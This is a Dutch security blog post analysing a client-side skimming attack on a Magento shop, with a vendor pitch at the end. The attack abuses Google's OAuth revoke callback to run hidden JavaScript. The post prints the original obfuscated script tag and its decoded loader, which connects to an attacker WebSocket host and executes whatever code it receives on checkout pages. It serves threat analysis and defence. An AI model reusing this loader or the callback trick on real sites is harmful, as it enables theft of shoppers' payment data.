We analyseerden een bijzonder slimme client-side aanval op een Magento-gebaseerde eCommerce-website parts[.]expert. Hoewel het geen domein met veel verkeer is, verdient de hier gebruikte injectietechniek aandacht — want ze verbergt zich in het volle zicht.
De aanvaller gebruikt 'Google.com' om eigen code te leveren en uit te voeren, en misbruikt OAuth-beveiligingsmaatregelen. Dit kan mogelijk Google-accountgegevens en toegangstokens in gevaar brengen.
Wat We Vonden
Ons systeem markeerde een script afkomstig van een onverwachte URL:
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

Op het eerste gezicht lijkt het een legitieme OAuth-uitlog-URL van de autorisatieserver:
accounts.google.com/o/oauth2/revoke.
Maar bij nadere inspectie blijkt de callback-parameter bewapend te zijn om een verborgen JavaScript-payload uit te voeren via eval(atob(...)).

Stap-voor-Stap Analyse
De base64-gecodeerde payload in de callback decodeert naar een ander verborgen script, dat dynamisch een kwaadaardige WebSocket-verbinding opzet naar een door de aanvaller beheerd domein — wat ernstige WebSocket-beveiligingsproblemen oplevert. Gedecodeerd ziet het er als volgt uit:
(function() {
let setupMaliciousWebSocket = () => {
// Verbinding maken met de WebSocket-server van de aanvaller
const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");
// Alle ontvangen code van de server uitvoeren
ws.onmessage = (event) => {
const maliciousCode = atob(event.data); // Base64 decoderen
new Function(maliciousCode).call(event.target); // Dynamisch uitvoeren
};
};
// Uitvoeren als:
// 1. De browser geautomatiseerd is (bijv. bots), OF
// 2. De URL 'checkout' bevat (bijv. betaalpagina)
if (navigator.webdriver || window.location.href.match('checkout')) {
setupMaliciousWebSocket();
}
})();
Wat Het Script Doet
- Maakt verbinding met een kwaadaardige WebSocket-server als de pagina-URL checkout bevat. Of, als de browser geautomatiseerd lijkt, opent het een wss://-verbinding naar livechatinc[.]network/chatpipe/029/. Dat domein is al gemarkeerd als kwaadaardig: VirusTotal-link. Dit zijn schoolvoorbeelden van WebSocket-aanvallen in de praktijk.
- Ontvangt en voert externe payloads uit: Alle base64-gecodeerde berichten die via de WebSocket worden verzonden, worden gedecodeerd en uitgevoerd met new Function(...). Dit geeft de aanvaller volledige mogelijkheden voor externe uitvoering binnen de browsersessie van de gebruiker — een techniek die vaak wordt ingezet bij OAuth-phishing en andere OAuth-aanvallen — en kan leiden tot een datalek waarbij gevoelige informatie zoals e-mailadressen en betaalgegevens wordt onderschept.
- Timing- en contextbewust: Het script wordt specifiek geactiveerd op afrekenpagina's, waarschijnlijk om betaalgegevens te onderscheppen of in real time frauduleuze elementen in te voegen.
Waarom Dit Belangrijk Is
- Ziet er legitiem uit: Het lijkt te laden vanaf een Google-domein dat lijkt op verkeer van Google OAuth-kwetsbaarheden, waardoor de meeste beveiligingstools het blindelings vertrouwen. Een CSP kan deze aanval niet onderscheppen, omdat het vertrouwde domein Google.com gewoon doorgelaten wordt. Een DNS-filter op het apparaat van een gebruiker is evenmin effectief.
- Omzeilt statische scanners: De gevaarlijke logica zit twee lagen diep verborgen in obfuscatie en wordt alleen uitgevoerd onder specifieke omstandigheden, waardoor het bijzonder moeilijk te detecteren is voor organisaties zonder een gekwalificeerde beveiligingsbeoordelaar (QSA).
- Real-time controle: WebSocket-gebaseerde payloads stellen aanvallers in staat om dynamische kwaadaardige logica te pushen op basis van gebruikersacties.
We hebben eerder domeinimitatie en verborgen loaders gezien, maar deze combinatie van OAuth-misleiding en voorwaardelijk getriggerde live-controle gaat een stap verder.
Ons product bij cside kon deze aanval identificeren en onderscheppen. We ontvangen de volledige payload van het opgehaalde script en analyseren deze voordat het naar de browser wordt doorgestuurd.




